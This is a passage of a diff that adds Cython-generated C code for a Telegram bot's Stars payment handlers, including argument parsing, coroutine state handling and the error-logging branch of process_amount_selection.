<<<<<<<<<<<<<< + * + * + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_stars); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 7; + return __pyx_r; + __pyx_L34_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 99, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 99, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/stars_pay.py":32 + * + * + * @router.callback_query(F.data == "pay_stars") # <<<<<<<<<<<<<< + * async def process_callback_pay_stars( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_stars", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/stars_pay.py":102 + * + * + * @router.callback_query(F.data.startswith("stars_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_9stars_pay_4process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_9stars_pay_4process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 102, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 102, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 102, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 102, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 102, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_tp_new_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection(__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 102, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_callback_query = __pyx_v_callback_query; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); + __pyx_cur_scope->__pyx_v_state = __pyx_v_state; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_5generator1, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 102, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + Py_ssize_t __pyx_t_3; + int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + PyObject *__pyx_t_6 = NULL; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + unsigned int __pyx_t_9; + int __pyx_t_10; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + int __pyx_t_15; + char const *__pyx_t_16; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + PyObject *__pyx_t_24 = NULL; + PyObject *__pyx_t_25 = NULL; + char const *__pyx_t_26; + PyObject *__pyx_t_27 = NULL; + PyObject *__pyx_t_28 = NULL; + PyObject *__pyx_t_29 = NULL; + Py_UCS4 __pyx_t_30; + char const *__pyx_t_31; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L11_resume_from_await; + case 2: goto __pyx_L23_resume_from_await; + case 3: goto __pyx_L40_resume_from_await; + case 4: goto __pyx_L52_resume_from_await; + case 5: goto __pyx_L53_resume_from_await; + case 6: goto __pyx_L54_resume_from_await; + case 7: goto __pyx_L61_resume_from_await; + case 8: goto __pyx_L69_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 102, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":106 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":108 + * data = callback_query.data.split("|", 1) + * + * if len(data) != 2: # <<<<<<<<<<<<<< + * try: + * await callback_query.message.delete() + */ + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_4 = (__pyx_t_3 != 2); + if (__pyx_t_4) { + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + { + __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + __Pyx_XGOTREF(__pyx_t_7); + /*try:*/ { + + /* "handlers/payments/stars_pay.py":110 + * if len(data) != 2: + * try: + * await callback_query.message.delete() # <<<<<<<<<<<<<< + * except Exception as e: + * logger.error(f" : {e}") + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_delete); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_9, 0+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 110, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_5; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L11_resume_from_await:; + __pyx_t_5 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_5); + __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_7); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 110, __pyx_L5_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 110, __pyx_L5_error) + } + } + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + } + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; + goto __pyx_L10_try_end; + __pyx_L5_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/stars_pay.py":111 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + __pyx_t_10 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_10) { + __Pyx_AddTraceback("handlers.payments.stars_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_8, &__pyx_t_2) < 0) __PYX_ERR(0, 111, __pyx_L7_except_error) + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_GIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_v_e = __pyx_t_8; + /*try:*/ { + + /* "handlers/payments/stars_pay.py":112 + * await callback_query.message.delete() + * except Exception as e: + * logger.error(f" : {e}") # <<<<<<<<<<<<<< + * + * await callback_query.message.answer(" .") + */ + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_logger); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_12, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_kp_u__10, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_13))) { + __pyx_t_12 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_12)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); + __Pyx_INCREF(__pyx_t_12); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_13, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_12, __pyx_t_14}; + __pyx_t_11 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 112, __pyx_L17_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + + /* "handlers/payments/stars_pay.py":111 + * try: + * await callback_query.message.delete() + * except Exception as e: # <<<<<<<<<<<<<< + * logger.error(f" : {e}") + * + */ + /*finally:*/ { + /*normal exit:*/{ + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + goto __pyx_L18; + } + __pyx_L17_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_20, &__pyx_t_21, &__pyx_t_22); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __pyx_t_10 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ExceptionReset(__pyx_t_20, __pyx_t_21, __pyx_t_22); + } + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_17, __pyx_t_18, __pyx_t_19); + __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; + __pyx_lineno = __pyx_t_10; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; + goto __pyx_L7_except_error; + } + __pyx_L18:; + } + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L6_exception_handled; + } + goto __pyx_L7_except_error; + + /* "handlers/payments/stars_pay.py":109 + * + * if len(data) != 2: + * try: # <<<<<<<<<<<<<< + * await callback_query.message.delete() + * except Exception as e: + */ + __pyx_L7_except_error:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + goto __pyx_L1_error; + __pyx_L6_exception_handled:; + __Pyx_XGIVEREF(__pyx_t_5); + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_ExceptionReset(__pyx_t_5, __pyx_t_6, __pyx_t_7); + __pyx_L10_try_end:; + } + + /* "handlers/payments/stars_pay.py":114 + * logger.error(f" : {e}") + * + * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< + * return + * + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_9 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_9 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_9, 1+__pyx_t_9); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 114, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L23_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 114, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 114, __pyx_L1_error) + } + } + + 